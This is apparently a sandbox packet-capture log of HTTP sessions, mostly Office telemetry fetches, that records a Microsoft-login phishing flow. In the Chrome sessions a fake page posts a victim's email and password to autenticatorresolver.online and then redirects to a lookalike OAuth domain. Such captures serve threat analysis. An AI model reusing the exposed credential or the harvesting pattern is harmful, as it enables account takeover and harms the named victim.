2024-11-26 12:44:05 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:04 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:05 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124405Z-174f7845968v75bwhC1EWRuqen0000000gg000000000115v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:05 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49829	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:04 UTC	669	OUT	POST /fwd/api HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive Content-Length: 383 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://autenticatorresolver.online Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://autenticatorresolver.online/fl/m6kgte57 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:04 UTC	383	OUT	Data Raw: 70 61 73 73 77 6f 72 64 3d 76 47 62 68 25 35 44 25 37 42 25 37 43 35 6c 77 26 65 6d 61 69 6c 3d 63 65 73 61 72 2e 6c 6f 70 65 7a 25 34 30 72 6f 79 61 6c 62 72 69 6e 6b 6d 61 6e 2e 63 6f 6d 26 67 72 6f 75 70 5f 69 64 3d 31 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 37 35 26 63 69 74 79 3d 4e 65 77 25 32 30 59 6f 72 6b 25 32 30 43 69 74 79 26 72 65 67 69 6f 6e 3d 4e 65 77 25 32 30 59 6f 72 6b 26 63 6f 75 6e 74 72 79 3d 55 53 26 74 69 6d 65 7a 6f 6e 65 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 26 63 75 72 72 65 6e 74 54 69 6d 65 3d 37 25 33 41 34 34 25 33 41 30 30 25 32 30 41 4d 26 63 75 72 72 65 6e 74 44 61 74 65 3d 31 31 25 32 46 32 36 25 32 46 32 30 32 34 26 75 73 65 72 41 67 65 6e 74 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 25 32 30 28 57 69 Data Ascii: password=vGbh%5D%7B%7C5lw&email=cesar.lopez%40royalbrinkman.com&group_id=1&ip=8.46.123.75&city=New%20York%20City&region=New%20York&country=US&timezone=America%2FNew_York&currentTime=7%3A44%3A00%20AM&currentDate=11%2F26%2F2024&userAgent=Mozilla%2F5.0%20(Wi
2024-11-26 12:44:06 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gnpo167sjsa4mrlcoeb0kqoim5; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oRGZel2bt1CK0L8%2FVxaEWvqwU6hC%2Fzw%2BmsdFDz%2FtrPvtiVENyijfw1rjckgbXXaa8UOUmeliSOAoFq5df7No4rId2lBP5AMnv%2BL0n6s0Lbvrk2FhTM88khkWLvEZl3sSi174Ibx5EMFfaKdbpJo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f7c42e668cd7-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1984&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1652&delivery_rate=1397797&cwnd=237&unsent_bytes=0&cid=051b292bdc66f8ae&ts=1235&x=0"
2024-11-26 12:44:06 UTC	166	IN	Data Raw: 61 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 22 2c 22 61 70 69 52 65 73 70 6f 6e 73 65 22 3a 22 7b 5c 22 73 74 61 74 75 73 5c 22 3a 5c 22 73 75 63 63 65 73 73 5c 22 2c 5c 22 6d 65 73 73 61 67 65 5c 22 3a 5c 22 45 6d 61 69 6c 20 73 65 6e 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 5c 22 2c 5c 22 67 72 6f 75 70 5f 69 64 5c 22 3a 5c 22 31 5c 22 7d 22 7d 0d 0a 0d 0a 0d 0a Data Ascii: a0{"status":"success","message":"Data sent successfully","apiResponse":"{\"status\":\"success\",\"message\":\"Email sent successfully!\",\"group_id\":\"1\"}"}
2024-11-26 12:44:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:05 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:05 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124405Z-174f7845968ljs8phC1EWRe6en0000000v900000000084p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:05 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49831	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:05 UTC	814	OUT	GET /login HTTP/1.1 Host: www.msonlineauthenticator.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90
2024-11-26 12:44:05 UTC	20	IN	HTTP/1.1 302 Found
2024-11-26 12:44:05 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:05 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2024-11-26 12:44:05 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-11-26 12:44:05 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 31 32 3a 34 34 3a 30 35 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 26 Nov 2024 12:44:05 GMT
2024-11-26 12:44:05 UTC	844	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 73 6f 6e 6c 69 6e 65 61 75 74 68 65 6e 74 69 63 61 74 6f 72 2e 74 6f 70 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 Data Ascii: Location: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.of
2024-11-26 12:44:05 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-11-26 12:44:05 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2024-11-26 12:44:05 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 65 75 73 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 32 30 3a 34 34 3a 30 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-eus; Path=/; Expires=Tue, 26 Nov 2024 20:44:05 GMT; HttpOnly; Secure; SameSite=None
2024-11-26 12:44:05 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 65 31 64 35 35 34 38 35 2d 31 32 66 63 2d 34 66 36 34 2d 38 31 65 39 2d 34 38 33 64 62 37 62 32 37 61 37 39 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 36 20 4e 6f 76 20 32 30 32 35 20 31 32 3a 34 34 3a 30 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=e1d55485-12fc-4f64-81e9-483db7b27a79; Path=/; Expires=Wed, 26 Nov 2025 12:44:05 GMT; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:05 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:08 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124408Z-174f7845968g6hv8hC1EWR1v2n000000038g00000000c1gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:08 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:06 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:07 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124407Z-174f7845968kvnqxhC1EWRmf3g0000000e5g00000000b7ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:07 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:06 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:07 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124407Z-174f7845968xlwnmhC1EWR0sv80000000v7g000000008ndt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:07 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49836	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:06 UTC	1899	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-26 12:44:07 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:07 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:07 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:07 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-11-26 12:44:07 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 31 32 3a 34 34 3a 30 36 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 26 Nov 2024 12:44:06 GMT
2024-11-26 12:44:07 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-11-26 12:44:07 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
